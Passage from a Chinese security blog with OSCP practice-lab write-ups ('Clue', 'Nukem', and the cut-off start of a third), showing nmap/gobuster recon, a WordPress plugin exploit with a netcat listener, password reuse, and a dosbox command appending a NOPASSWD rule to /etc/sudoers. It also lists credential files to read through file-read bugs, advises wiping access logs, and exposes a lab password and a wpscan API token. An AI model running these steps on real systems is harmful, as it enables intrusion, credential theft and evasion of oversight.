stroke:#666666,stroke-width:2px,stroke-dasharray:0; %% 应用样式 class A attack; class B,C,D public; class E,F internal;入侵时间表 gantt title 攻击时间表 dateFormat YYYY-MM-DD HH:mm axisFormat %H:%M section 侦察阶段 目标扫描 :a1, 2025-08-22 15:40, 2025-08-22 16:40 漏洞识别 :a2, after a1, 20m section 攻击阶段 初始访问 :b1, after a2, 20m 权限提升 :crit,b2, after b1, 40m section 后渗透阶段 数据窃取 :c1, after b2, 5m 有哪些容易泄露配置信息的文件？ 在利用文件读取漏洞进行渗透测试时，优先读取以下高价值文件可快速获取关键信息，推动后续攻击链的构建。根据漏洞利用目标和系统环境，推荐按优先级读取以下文件：\n🔍 ​​一、系统关键文件（Linux/Unix）​​ ​​/etc/passwd​​ ​​价值​​：泄露所有用户账户信息（UID/GID、Shell类型），为暴力破解或权限提升提供目标列表。 ​​后续利用​​：结合弱口令攻击或 suid程序提权。 ​​/etc/shadow​​ ​​价值​​：存储用户密码哈希（需root权限读取），破解后可获取系统权限。 ​​注意​​：若漏洞权限不足，需结合其他漏洞（如路径遍历）尝试读取。 ​​/etc/group​​ ​​价值​​：获取用户组信息，识别高权限组（如 sudo、docker），辅助横向移动。 💻 ​​二、应用敏感文件​​ ​​Web服务器配置​​ ​​Nginx/Apache​​： etc/nginx/nginx.conf、etc/httpd/conf/httpd.conf：获取虚拟主机配置、反向代理规则，发现隐藏服务或内部网络信息。 ​​数据库凭据​​： 如 WEB-INF/web.xml（Java Web应用）、config.php（PHP应用）：泄露数据库连接字符串，直接访问数据库。 ​​环境配置文件​​ ​​.env文件​​：存储API密钥、加密密钥等敏感信息，常见于Node.js/Python应用。 ​​Kubernetes配置​​： /var/run/secrets/kubernetes.io/serviceaccount/token：获取Service Account Token，接管K8s集群。 📂 ​​三、动态信息与日志文件​​ ​​/proc/self/environ​​ ​​价值​​：暴露进程环境变量（如 PATH、SECRET_KEY），可能包含硬编码凭据或调试信息。 ​​/proc/self/cmdline​​ ​​价值​​：揭示当前进程启动命令及参数，辅助识别应用框架或配置路径。 ​​系统日志​​ /var/log/auth.log（Linux）：查看SSH登录记录，定位管理员IP或爆破痕迹。 C:\\Windows\\System32\\winevt\\Logs\\Security.evtx（Windows）：分析安全事件日志。 ⚙️ ​​四、特殊路径与内存文件​​ ​​临时文件与缓存​​ /tmp/、/dev/shm/：查找上传的恶意脚本或缓存数据（如Session文件）。 ​​内核与内存映射​​ /proc/kallsyms（需root）：泄露内核函数地址，绕过ASLR防护。 /dev/mem：直接访问物理内存，提取加密密钥（需高权限）。 🎯 ​​五、针对Java应用的专项读取​ ​\n​​WEB-INF/classes/目录​​ ​​价值​​：读取编译后的 .class文件，反编译获取业务逻辑漏洞（如硬编码密钥）。 ​​WEB-INF/web.xml​​ ​​价值​​：解析Servlet映射、过滤器配置，发现未授权访问点或安全绕过路径。 ​​JAR/WAR 文件​​ 如 lib/application.jar：解压后分析依赖库漏洞（如Log4j）。 🛡️ ​​防御规避与注意事项​​ ​​合法性​​：仅在授权范围内测试，避免读取用户隐私数据。 ​​隐蔽性​​： 清理日志（如覆盖 /var/log/apache2/access.log）。 避免频繁请求，触发WAF/IDS告警。 ​​工具辅助​​： 使用 jd-gui反编译 .class文件。 通过 pwntools自动化解析内存偏移。 💎 ​​总结：优先级策略​​ ​​快速突破​​：/etc/passwd→ /proc/self/environ→ 应用配置文件。 ​​深度渗透​​：数据库凭据 → 日志文件 → 内核/内存文件。 ​​源码反制​​：Java .class文件 → 依赖库扫描 → 反编译分析。 find命令的妙用 要高效查找 local.txt文件，需优化 find /命令以避免全盘扫描并提升定位精度。以下是针对性优化方案及命令：\n🔍 ​​优化后的查找命令​​ find / -type f -name \u0026#34;local.txt\u0026#34; -print 2\u0026gt;/dev/null ​​关键优化点​​：\n​​限定文件类型​​：-type f仅搜索普通文件，跳过目录、符号链接等无关项。 ​​精准文件名匹配​​：-name \u0026quot;local.txt\u0026quot;严格匹配目标文件名，避免模糊搜索的开销。 ​​抑制错误输出​​：2\u0026gt;/dev/null隐藏权限不足等报错，减少终端干扰。 ⚙️ ​​进阶场景优化​​ 1. ​​限制搜索深度（减少扫描范围）​​ find / -maxdepth 3 -type f -name \u0026#34;local.txt\u0026#34; 2\u0026gt;/dev/null ​​适用场景​​：已知文件位于顶层目录（如 /etc/、/tmp/）时，通过 -maxdepth 3限制子目录层级，速度提升显著。 2. ​​组合条件搜索（时间/大小过滤）​​ # 查找最近7天内修改过的 local.txt find / -type f -name \u0026#34;local.txt\u0026#34; -mtime -7 2\u0026gt;/dev/null # 查找大于1KB的 local.txt find / -type f -name \u0026#34;local.txt\u0026#34; -size +1k 2\u0026gt;/dev/null ​​适用场景​​： -mtime -7：文件近期被修改过（如渗透测试中的后门文件）。 -size +1k：排除空文件或小体积缓存文件。 3. ​​权限/所有者过滤​​ # 查找属主为 root 的 local.txt find / -type f -name \u0026#34;local.txt\u0026#34; -user root 2\u0026gt;/dev/null # 查找权限为644的 local.txt find / -type f -name \u0026#34;local.txt\u0026#34; -perm 644 2\u0026gt;/dev/null ​​适用场景​​：快速定位系统关键文件或配置。 💡 ​​替代方案（更高效率）​​ 使用 locate命令（需先更新数据库）： sudo updatedb # 更新文件数据库（需root权限） locate local.txt # 秒级检索（依赖定期更新的数据库） ​​优势​​：比 find快数十倍，适合频繁搜索固定文件。 ​​注意​​：新建文件需等待数据库更新（默认每日自动更新）。 ⚠️ ​​注意事项​​ ​​权限问题​​：搜索系统目录（如 /etc/、/root/）需 sudo权限，否则结果不全。 ​​性能影响​​：全盘扫描（find /）可能加重磁盘负载，建议在非高峰时段执行。 ​​精确路径​​：若已知大致路径（如 /var/log/），直接指定路径而非根目录 /，效率更高。 📊 ​​命令执行效果对比​​ ​​方法​​ ​​速度​​ ​​精度​​ ​​适用场景​​ find / -name \u0026quot;local.txt\u0026quot; 慢 高 全盘精准搜索 find / -maxdepth 3 ... 中 中 限定深度快速扫描 locate local.txt 极快 依赖更新 高频检索已知文件 为什么root可以登录成功而Anthony用户无法用密钥登录？ 根据 .bash_history记录和测试现象，结合 SSH 密钥认证机制，anthony用户连接失败而 root用户成功的原因可能如下：\n⚠️ ​​核心原因分析​​ ​​密钥文件权限问题（anthony 用户）​​ SSH 要求私钥权限必须为 600，若权限过宽（如 644）会导致客户端拒绝使用私钥。 检查 anthony 的私钥权限： ls -l ~/.ssh/id_rsa # 应为 -rw------- (600) 若权限不符，需修复： chmod 600 ~/.ssh/id_rsa ​​.ssh目录或 authorized_keys权限问题（服务器端）​​ anthony用户的 .ssh目录权限需为 700，authorized_keys文件权限需为 600。 若权限错误（如 authorized_keys为 644），服务器会拒绝认证： # 在服务器上检查 anthony 用户的配置 chmod 700 /home/anthony/.ssh chmod 600 /home/anthony/.ssh/authorized_keys ​​authorized_keys内容或路径错误​​ cp .ssh/id_rsa.pub .ssh/authorized_keys可能未正确覆盖文件（如文件路径错误或内容截断）。 验证 authorized_keys内容是否包含完整公钥： cat /home/anthony/.ssh/authorized_keys ​​SSH 服务配置限制​​ 服务器可能禁止 anthony用户使用密钥登录（如 sshd_config中设置了 DenyUsers anthony或 PubkeyAuthentication no）。 检查服务器配置： grep -E \u0026#34;DenyUsers|PubkeyAuthentication\u0026#34; /etc/ssh/sshd_config # 确保包含： PubkeyAuthentication yes ​​用户目录所有权或权限问题​​ anthony用户目录权限过宽（如 /home/anthony权限为 777）会导致 SSH 拒绝认证。 修复目录权限： chmod 755 /home/anthony # 必须 ≤755 ✅ ​​为何 root用户能成功？​​ ​​root的 authorized_keys配置正确​​ sudo cp .ssh/id_rsa.pub /root/.ssh/authorized_keys命令直接将公钥复制到 root用户，且 root的 .ssh目录通常自动满足权限要求（700）。 ​​root用户不受某些限制​​ sshd_config可能未限制 root登录（如 PermitRootLogin yes），而 anthony用户可能被其他规则阻止。 🔧 ​​解决方案​​ ​​修复 anthony 用户的权限​​\n​​客户端​​（本地）： chmod 600 ~/.ssh/id_rsa ​​服务器端​​（以 anthony登录或通过 root修复）： chmod 700 /home/anthony/.ssh chmod 600 /home/anthony/.ssh/authorized_keys chmod 755 /home/anthony # 确保目录权限安全 ​​验证 authorized_keys内容​​\n确认公钥完整写入： echo \u0026#34;$(cat ~/.ssh/id_rsa.pub)\u0026#34; \u0026gt; /home/anthony/.ssh/authorized_keys ​​检查服务器 SSH 配置​​\n编辑 /etc/ssh/sshd_config： PubkeyAuthentication yes # 启用密钥认证 AllowUsers anthony root # 允许 anthony 和 root 登录 重启服务生效： sudo systemctl restart sshd ​​调试连接​​\n使用 -vvv参数查看详细错误： ssh -vvv -i id_rsa anthony@192.168.133.240 检查服务器日志： tail -f /var/log/auth.log # Debian/Ubuntu tail -f /var/log/secure # RHEL/CentOS 根据您提供的目录信息和 SSH 密钥认证机制，/home/anthony/.ssh/authorized_keys文件缺失会导致 SSH 公钥登录失败。以下是具体分析和解决方案：\n⚠️ ​​无法登录的原因​​ ​​authorized_keys文件缺失​​ 该文件是 SSH 服务器验证客户端公钥的核心依据。服务器会检查客户端提供的公钥是否在 authorized_keys中，若文件不存在，则公钥认证自动失败 。 您的目录中仅有 id_rsa.pub（公钥）和 id_rsa（私钥），但未将公钥内容添加到 authorized_keys文件中，导致服务器无法匹配私钥 。 ​​root用户登录成功的原因​​ 您此前执行了 sudo cp .ssh/id_rsa.pub /root/.ssh/authorized_keys，已将公钥正确复制到 root用户的 authorized_keys文件，因此 root可正常登录 。 🔧 ​​解决方案：为 anthony用户创建 authorized_keys​​ 步骤 1：创建文件并添加公钥内容 # 进入 anthony 的 .ssh 目录 cd /home/anthony/.ssh # 创建 authorized_keys 文件并将 id_rsa.pub 内容追加到其中 cat id_rsa.pub \u0026gt;\u0026gt; authorized_keys 步骤 2：设置严格的文件权限 # 设置 authorized_keys 权限为 600（仅所有者可读写） chmod 600 authorized_keys # 确保 .ssh 目录权限为 700（仅所有者可访问） chmod 700 /home/anthony/.ssh ​​权限要求​​：SSH 要求 authorized_keys权限为 600，.ssh目录权限为 700，否则服务器会拒绝认证 。 步骤 3：验证 SSH 配置（可选） 检查 /etc/ssh/sshd_config确保以下配置启用：\nPubkeyAuthentication yes # 启用公钥认证 AuthorizedKeysFile .ssh/authorized_keys # 指定公钥文件路径 重启 SSH 服务使配置生效：\nsudo systemctl restart sshd ✅ ​​验证登录​​ 完成上述步骤后，尝试重新连接：\nssh -i /path/to/id_rsa anthony@192.168.133.240 若仍失败，可通过调试模式定位问题： ssh -vvv -i /path/to/id_rsa anthony@192.168.133.240 📌 ​​关键注意事项​​ ​​文件完整性​​ authorized_keys中公钥需与客户端私钥严格匹配，复制时避免遗漏字符 。 ​​权限安全​​ 权限错误是常见失败原因，需确保： authorized_keys→ 600 .ssh目录 → 700 私钥 id_rsa→ 600（您已满足） ​​目录所有权​​ 确保 /home/anthony及其子目录所有者是 anthony，否则 SSH 可能拒绝认证： chown -R anthony:anthony /home/anthony 🔔 想要获取更多网络安全与编程技术干货？\n关注 泷羽Sec-静安 公众号，与你一起探索前沿技术，分享实用的学习资源与工具。我们专注于深入分析，拒绝浮躁，只做最实用的技术分享！💻\n马上加入我们，共同成长！🌟\n👉 长按或扫描二维码关注公众号\n直接回复文章中的关键词，获取更多技术资料与书单推荐！📚\n","date":"2025-08-22T15:37:55Z","image":"https://static.offsec.com/media/lms/content_tags/Course-PEN-200.png","permalink":"/post/oscp%E5%AE%98%E6%96%B9%E9%9D%B6%E5%9C%BA-clue-wp/","title":"OSCP官方靶场 Clue WP"},{"content":" 关注泷羽Sec和泷羽Sec-静安公众号，这里会定期更新与 OSCP、渗透测试等相关的最新文章，帮助你理解网络安全领域的最新动态。后台回复“OSCP配套工具”获取本文的工具\n官网打开靶场\n信息收集 1# Kali攻击机地址 2192.168.45.159 3# 靶机地址 4192.168.206.105 扫描端口和目录 1# 设置MTU 2sudo ip link set dev tun0 mtu 1250 3ip link show tun0 4# 扫描端口 5ports=$(sudo nmap -p- --min-rate=5000 -Pn 192.168.236.105 | grep \u0026#39;^[0-9]\u0026#39; | cut -d \u0026#39;/\u0026#39; -f 1 | tr \u0026#39;\\n\u0026#39; \u0026#39;,\u0026#39; | sed s/,$//) 6echo $ports 7# 扫描服务 8sudo nmap -sT -sC -sV -O -Pn -p$ports 192.168.236.105 9sudo nmap --script=vuln -p$ports -Pn 192.168.236.105 10# 扫描目录 11gobuster dir -e -u http://192.168.206.105 -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 20 -x php,html,txt -b 403,500,404 -z 12whatweb http://192.168.236.105/ 扫描结果如下：\n1┌──(kali㉿kali)-[~/Desktop/Nukem] 2└─$ echo $ports 322,80,3306 4 5┌──(kali㉿kali)-[~/Desktop/Nukem] 6└─$ sudo nmap -sT -sC -sV -O -Pn -p$ports 192.168.236.105 7Starting Nmap 7.95 ( https://nmap.org ) at 2025-08-20 02:28 EDT 8Nmap scan report for 192.168.236.105 9Host is up (0.32s latency). 10 11PORT STATE SERVICE VERSION 1222/tcp open ssh OpenSSH 8.3 (protocol 2.0) 13| ssh-hostkey: 14| 3072 3e:6a:f5:d3:30:08:7a:ec:38:28:a0:88:4d:75:da:19 (RSA) 15| 256 43:3b:b5:bf:93:86:68:e9:d5:75:9c:7d:26:94:55:81 (ECDSA) 16|_ 256 e3:f7:1c:ae:cd:91:c1:28:a3:3a:5b:f6:3e:da:3f:58 (ED25519) 1780/tcp open http Apache httpd 2.4.46 ((Unix) PHP/7.4.10) 18|_http-server-header: Apache/2.4.46 (Unix) PHP/7.4.10 193306/tcp open mysql MariaDB 10.3.24 or later (unauthorized) 20Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port 21Device type: general purpose|router 22Running (JUST GUESSING): Linux 4.X|5.X|3.X|2.6.X (97%), MikroTik RouterOS 7.X (89%) 23OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5 cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:2.6 cpe:/o:mikrotik:routeros:7 cpe:/o:linux:linux_kernel:5.6.3 24Aggressive OS guesses: Linux 4.15 - 5.19 (97%), Linux 5.0 - 5.14 (91%), Linux 3.2 - 4.14 (91%), Linux 2.6.32 - 3.10 (91%), MikroTik RouterOS 7.2 - 7.5 (Linux 5.6.3) (89%) 25No exact OS matches for host (test conditions non-ideal). 26 27OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . 28Nmap done: 1 IP address (1 host up) scanned in 254.79 seconds 29 30┌──(kali㉿kali)-[~/Desktop/Nukem] 31└─$ sudo nmap --script=vuln -p$ports -Pn 192.168.236.105 32Starting Nmap 7.95 ( https://nmap.org ) at 2025-08-20 02:36 EDT 33Nmap scan report for 192.168.236.105 34Host is up (0.41s latency). 35 36PORT STATE SERVICE 3722/tcp open ssh 3880/tcp open http 39|_http-stored-xss: Couldn\u0026#39;t find any stored XSS vulnerabilities.\u0026#39; 40| http-csrf: 41| Spidering limited to: maxdepth=3; maxpagecount=20; withinhost=192.168.236.105 42| Found the following possible CSRF vulnerabilities: 43| 44| Path: http://192.168.236.105:80/ 45| Form id: 46| Form action: / 47| 48| Path: http://192.168.236.105:80/ 49| Form id: 50| Form action: / 51| 52| Path: http://192.168.236.105:80/index.php/author/admin/ 53| Form id: 54| Form action: / 55| 56| Path: http://192.168.236.105:80/index.php/author/admin/ 57| Form id: 58| Form action: / 59| 60| Path: http://192.168.236.105:80/index.php/student-registration/ 61| Form id: 62| Form action: / 63| 64| Path: http://192.168.236.105:80/index.php/student-registration/ 65| Form id: 66| Form action: / 67| 68| Path: http://192.168.236.105:80/index.php/sample-page/ 69| Form id: 70| Form action: / 71| 72| Path: http://192.168.236.105:80/index.php/sample-page/ 73| Form id: 74| Form action: / 75| 76| Path: http://192.168.236.105:80/index.php/2020/09/ 77| Form id: 78| Form action: / 79| 80| Path: http://192.168.236.105:80/index.php/2020/09/ 81| Form id: 82| Form action: / 83| 84| Path: http://192.168.236.105:80/index.php/instructor-registration/ 85| Form id: 86| Form action: / 87| 88| Path: http://192.168.236.105:80/index.php/instructor-registration/ 89| Form id: 90| Form action: / 91| 92| Path: http://192.168.236.105:80/index.php/category/uncategorized/ 93| Form id: 94| Form action: / 95| 96| Path: http://192.168.236.105:80/index.php/category/uncategorized/ 97| Form id: 98| Form action: / 99| 100| Path: http://192.168.236.105:80/wp-login.php 101| Form id: loginform 102| Form action: /wp-login.php 103| 104| Path: http://192.168.236.105:80/index.php/dashboard/ 105| Form id: 106| Form action: / 107| 108| Path: http://192.168.236.105:80/?p=6 109| Form id: 110|_ Form action: / 111| http-fileupload-exploiter: 112| 113| Couldn\u0026#39;t find a file-type field. 114| 115| Couldn\u0026#39;t find a file-type field. 116| 117|_ Couldn\u0026#39;t find a file-type field.\u0026#39; 118| http-sql-injection: 119| Possible sqli for queries: 120|_ http://192.168.236.105:80/wp-includes/js/plupload/moxie.min.js?ver=1.3.5%27%20OR%20sqlspider 121|_http-dombased-xss: Couldn\u0026#39;t find any DOM based XSS.\u0026#39; 122|_http-phpself-xss: ERROR: Script execution failed (use -d to debug) 1233306/tcp open mysql 124 125Nmap done: 1 IP address (1 host up) scanned in 556.05 seconds 126 127┌──(kali㉿kali)-[~/Desktop/Nukem] 128└─$ whatweb http://192.168.236.105/ 129http://192.168.236.105/ [200 OK] Apache[2.4.46], Country[RESERVED][ZZ], Email[admin@local.host], HTML5, HTTPServer[Unix][Apache/2.4.46 (Unix) PHP/7.4.10], IP[192.168.236.105], JQuery, MetaGenerator[TutorLMS 1.5.3,WordPress 5.5.1], PHP[7.4.10], Script[text/javascript], Title[Retro Gamming \u0026amp;#8211; Just another WordPress site], UncommonHeaders[link], WordPress[5.5.1], X-Powered-By[PHP/7.4.10] 130 131=============================================================== 132http://192.168.206.105/index.php (Status: 301) [Size: 0] [--\u0026gt; http://192.168.206.105/] 133http://192.168.206.105/wp-content (Status: 301) [Size: 242] [--\u0026gt; http://192.168.206.105/wp-content/] 134http://192.168.206.105/wp-login.php (Status: 200) [Size: 6193] 135http://192.168.206.105/wordpress (Status: 301) [Size: 241] [--\u0026gt; http://192.168.206.105/wordpress/] 136http://192.168.206.105/license.txt (Status: 200) [Size: 19915] 137http://192.168.206.105/wp-includes (Status: 301) [Size: 243] [--\u0026gt; http://192.168.206.105/wp-includes/] 138http://192.168.206.105/readme.html (Status: 200) [Size: 7278] 139http://192.168.206.105/wp-trackback.php (Status: 200) [Size: 135] 140http://192.168.206.105/wp-admin (Status: 301) [Size: 240] [--\u0026gt; http://192.168.206.105/wp-admin/] 141http://192.168.206.105/xmlrpc.php (Status: 405) [Size: 42] 142^C 熟悉的Wordpress，找到登录入口 1# 简单版本 2wpscan --update --url http://192.168.206.105 -e u 3 4# 复杂全插件扫描版本 5# 枚举插件和用户名 6wpscan --enumerate ap,t,u --api-token 6Chbzkayn13XcMOgzoDGA85OLpV5BbXhGQ55s8qz88g --plugins-detection aggressive --url http://192.168.206.105 7# 爆破密码 很慢，作为最后的手段 8wpscan --usernames admin --passwords /usr/share/wordlists/rockyou.txt --url http://192.168.206.105 WP插件漏洞 虽然没有得到登录密码，但是扫描发现simple file list插件存在漏洞，搜索simple file list插件相关漏洞利用方法。\n1searchsploit simple file list 2searchsploit -m php/webapps/48979.py 修改为kali的IP，端口改为原靶机就开放的端口，这里用的5000，虽然在一开始并未扫描出来，但是降速后是可以扫描出来的5000端口。\n1rlwrap nc -lvnp 5000 2python 48979.py http://192.168.206.105 内网信息收集 查看配置文件得到数据库密码\n1cat wp-config.php 数据库密码 commander CommanderKeenVorticons1990\n把数据密码当作用户密码来直接复用，切换用户，也可以直接ssh登录代替当前的登录。\n1su commander 2python3 -c \u0026#39;import pty;pty.spawn(\u0026#34;/bin/bash\u0026#34;)\u0026#39; 拿到第一个flag 数据库中找不到更多的有用内容 1scp linpeas.sh commander@192.168.206.105:/tmp/linpeas.sh 上传小豌豆来找 发现/usr/bin/dosbox 可以提权，上网站查找提权命令 https://gtfobins.github.io/gtfobins/dosbox/ 发现可以越权写入文件，把commander写成全sudo的即可。\n1LFILE=\u0026#39;/etc/sudoers\u0026#39; 2/usr/bin/dosbox -c \u0026#39;mount c /\u0026#39; -c \u0026#34;echo commander ALL=(ALL) NOPASSWD: ALL \u0026gt;\u0026gt; c:$LFILE\u0026#34; -c exit 3sudo -s 拿到第二个flag。 总结 入侵路径示意图 flowchart TD %% 资产列表 A[Kali攻击机 192.168.45.159] B[靶机 192.168.206.105] C[http用户Shell] D[commonder用户账户密码] E[root] %% 路径关系 A--\u003e|扫描|B B--\u003e|插件漏洞|C C--\u003e|数据库密码泄露|D D--\u003e|busybox提权漏洞|E %% 线型：---（实线）、-.-\u003e（虚线）、==\u003e（粗箭头） %% --\u003e|是|：带条件文本的连接 %% 矩形节点[ ]，菱形决策节点{ }，圆弧方节点() %% 样式定义 classDef attack fill:#ffcccc,stroke:#ff0000,stroke-width:2px; classDef public fill:#ffeecc,stroke:#ff9900,stroke-width:2px; classDef internal fill:#ccffcc,stroke:#009900,stroke-width:2px; %% 线型与颜色方案（亮色/暗色通用） linkStyle default stroke:#666666,stroke-width:2px,stroke-dasharray:0; %% 应用样式 class A attack; class B,C public; class D,E internal;入侵时间表 gantt title 攻击时间表 dateFormat YYYY-MM-DD HH:mm axisFormat %H:%M section 侦察阶段 目标扫描 :a1, 2025-08-20 14:25, 2025-08-20 15:25 漏洞识别 :a2, after a1, 2025-08-20 16:40 section 攻击阶段 初始访问 :b1, after a2, 2025-08-20 17:12 权限提升 :crit,b2, 2025-08-22 15:05, 15m section 后渗透阶段 数据窃取 :c1, after b2, 5m 🔔 想要获取更多网络安全与编程技术干货？\n关注 泷羽Sec-静安 公众号，与你一起探索前沿技术，分享实用的学习资源与工具。我们专注于深入分析，拒绝浮躁，只做最实用的技术分享！💻\n马上加入我们，共同成长！🌟\n👉 长按或扫描二维码关注公众号\n直接回复文章中的关键词，获取更多技术资料与书单推荐！📚\n","date":"2025-08-20T14:22:15Z","image":"https://static.offsec.com/media/lms/content_tags/Course-PEN-200.png","permalink":"/post/oscp%E5%AE%98%E6%96%B9%E9%9D%B6%E5%9C%BA-nukem-wp/","title":"OSCP官方靶场 Nukem WP"},{"content":" 关注泷羽Sec和泷羽Sec-静安公众号，这里会定期更新与 OSCP、渗透测试等相关的最新文章，帮助你理解网络安全领域的最新动态。后台回复“OSCP配套工具”获取本文的工具\n官网打开靶场 信息收集 1# Kali攻击机地址 2192.168.45.238 3# 靶机地址 4192.168.236.58 扫描端口和目录 1# 设置MTU 2sudo ip link set dev tun0 mtu 1250 3ip link show tun0 4# 扫描端口 5ports=$(sudo nmap -p- --min-rate=5000 -Pn 192.168.236.58 | grep \u0026#39;^[0-9]\u0026#39; | cut -d \u0026#39;/\u0026#39; -f 1 | tr \u0026#39;\\n\u0026#39; \u0026#39;,\u0026#39; | sed s/,$//) 6echo $ports 7# 扫描服务 8sudo nmap -sT -sC -sV -O -Pn -p$ports 192.168.236.58 9sudo nmap --script=vuln -p$ports -Pn 192.168.236.58 10# 扫描目录 11gobuster dir -e -u http://192.168.236.58 -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 20 -x php,html,txt -b 403,500,404 -z 12whatweb http://192.168.236.58/ 扫描结果如下：\n1 2┌──(kali㉿kali)-[~/Desktop] 3└─$ echo $ports 421,22,80,111,139,445,3306 5 6┌──(kali㉿kali)-[~/Desktop] 7└─$ sudo nmap -sT -sC -sV -O -Pn -p$ports 192.168.236.58 8Starting Nmap 7.95 ( https://nmap.org ) at 2025-08-19 23:01 EDT 9Nmap scan report for 192.168.236.58 10Host is up (0.30s latency). 11 12PORT STATE SERVICE VERSION 1321/tcp open ftp vsftpd 3.0.2 1422/tcp open ssh OpenSSH 7.4 (protocol 2.0) 15| ssh-hostkey: 16| 2048 4a:79:67:12:c7:ec:13:3a:96:bd:d3:b4:7c:f3:95:15 (RSA) 17| 256 a8:a3:a7:88:cf:37:27:b5:4d:45:13:79:db:d2:ba:cb (ECDSA) 18|_ 256 f2:07:13:19:1f:29:de:19:48:7c:db:45:99:f9:cd:3e (ED25519) 1980/tcp open http Apache httpd 2.4.6 ((CentOS) PHP/5.4.16) 20|_http-server-header: Apache/2.4.6 (CentOS) PHP/5.4.16 21|_http-title: Simple PHP Photo Gallery 22111/tcp open rpcbind 23139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: SAMBA) 24445/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: SAMBA) 253306/tcp open mysql MySQL (unauthorized) 26Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port 27Device type: general purpose|router 28Running (JUST GUESSING): Linux 3.X|4.X|2.6.X|5.X (97%), MikroTik RouterOS 7.X (89%) 29OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:2.6 cpe:/o:linux:linux_kernel:5 cpe:/o:mikrotik:routeros:7 cpe:/o:linux:linux_kernel:5.6.3 30Aggressive OS guesses: Linux 3.10 - 4.11 (97%), Linux 3.2 - 4.14 (97%), Linux 3.13 - 4.4 (91%), Linux 3.8 - 3.16 (91%), Linux 2.6.32 - 3.13 (91%), Linux 3.4 - 3.10 (91%), Linux 4.15 - 5.19 (91%), Linux 5.0 - 5.14 (91%), Linux 2.6.32 - 3.10 (90%), Linux 4.15 (89%) 31No exact OS matches for host (test conditions non-ideal). 32Service Info: Host: SNOOKUMS; OS: Unix 33 34Host script results: 35|_smb2-time: Protocol negotiation failed (SMB2) 36 37OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . 38Nmap done: 1 IP address (1 host up) scanned in 89.62 seconds 39 40 41┌──(kali㉿kali)-[~/Desktop] 42└─$ sudo nmap --script=vuln -p$ports -Pn 192.168.236.58 43Starting Nmap 7.95 ( https://nmap.org ) at 2025-08-19 23:06 EDT 44Nmap scan report for 192.168.236.58 45Host is up (1.5s latency). 46 47PORT STATE SERVICE 4821/tcp open ftp 4922/tcp open ssh 5080/tcp open http 51| http-internal-ip-disclosure: 52|_ Internal IP Leaked: 127.0.0.1 53|_http-stored-xss: Couldn\u0026#39;t find any stored XSS vulnerabilities.\u0026#39; 54| http-sql-injection: 55| Possible sqli for queries: 56| http://192.168.236.58:80/js/?C=S%3BO%3DA%27%20OR%20sqlspider 57| http://192.168.236.58:80/js/?C=D%3BO%3DA%27%20OR%20sqlspider 58| http://192.168.236.58:80/js/?C=M%3BO%3DA%27%20OR%20sqlspider 59| http://192.168.236.58:80/js/?C=N%3BO%3DD%27%20OR%20sqlspider 60| http://192.168.236.58:80/js/?C=N%3BO%3DA%27%20OR%20sqlspider 61| http://192.168.236.58:80/js/?C=S%3BO%3DD%27%20OR%20sqlspider 62| http://192.168.236.58:80/js/?C=M%3BO%3DA%27%20OR%20sqlspider 63| http://192.168.236.58:80/js/?C=D%3BO%3DA%27%20OR%20sqlspider 64| http://192.168.236.58:80/js/?C=N%3BO%3DA%27%20OR%20sqlspider 65| http://192.168.236.58:80/js/?C=D%3BO%3DD%27%20OR%20sqlspider 66| http://192.168.236.58:80/js/?C=M%3BO%3DA%27%20OR%20sqlspider 67| http://192.168.236.58:80/js/?C=S%3BO%3DA%27%20OR%20sqlspider 68| http://192.168.236.58:80/js/?C=N%3BO%3DA%27%20OR%20sqlspider 69| http://192.168.236.58:80/js/?C=D%3BO%3DA%27%20OR%20sqlspider 70| http://192.168.236.58:80/js/?C=M%3BO%3DD%27%20OR%20sqlspider 71| http://192.168.236.58:80/js/?C=S%3BO%3DA%27%20OR%20sqlspider 72| http://192.168.236.58:80/js/?C=N%3BO%3DA%27%20OR%20sqlspider 73| http://192.168.236.58:80/js/?C=S%3BO%3DA%27%20OR%20sqlspider 74| http://192.168.236.58:80/js/?C=M%3BO%3DA%27%20OR%20sqlspider 75| http://192.168.236.58:80/js/?C=D%3BO%3DA%27%20OR%20sqlspider 76| http://192.168.236.58:80/js/?C=S%3BO%3DA%27%20OR%20sqlspider 77| http://192.168.236.58:80/js/?C=D%3BO%3DA%27%20OR%20sqlspider 78| http://192.168.236.58:80/js/?C=M%3BO%3DA%27%20OR%20sqlspider 79| http://192.168.236.58:80/js/?C=N%3BO%3DD%27%20OR%20sqlspider 80| http://192.168.236.58:80/js/?C=N%3BO%3DA%27%20OR%20sqlspider 81| http://192.168.236.58:80/js/?C=D%3BO%3DA%27%20OR%20sqlspider 82| http://192.168.236.58:80/js/?C=S%3BO%3DA%27%20OR%20sqlspider 83| http://192.168.236.58:80/js/?C=M%3BO%3DA%27%20OR%20sqlspider 84| http://192.168.236.58:80/js/?C=N%3BO%3DA%27%20OR%20sqlspider 85| http://192.168.236.58:80/js/?C=S%3BO%3DA%27%20OR%20sqlspider 86| http://192.168.236.58:80/js/?C=M%3BO%3DA%27%20OR%20sqlspider 87| http://192.168.236.58:80/js/?C=D%3BO%3DA%27%20OR%20sqlspider 88| http://192.168.236.58:80/js/?C=N%3BO%3DA%27%20OR%20sqlspider 89| http://192.168.236.58:80/js/?C=S%3BO%3DA%27%20OR%20sqlspider 90| http://192.168.236.58:80/js/?C=M%3BO%3DA%27%20OR%20sqlspider 91|_ http://192.168.236.58:80/js/?C=D%3BO%3DA%27%20OR%20sqlspider 92|_http-vuln-cve2017-1001000: ERROR: Script execution failed (use -d to debug) 93| http-enum: 94| /README.txt: Interesting, a readme. 95| /css/: Potentially interesting folder w/ directory listing 96| /icons/: Potentially interesting folder w/ directory listing 97| /images/: Potentially interesting folder w/ directory listing 98|_ /js/: Potentially interesting folder w/ directory listing 99|_http-csrf: Couldn\u0026#39;t find any CSRF vulnerabilities. 100|_http-trace: TRACE is enabled 101|_http-dombased-xss: Couldn\u0026#39;t 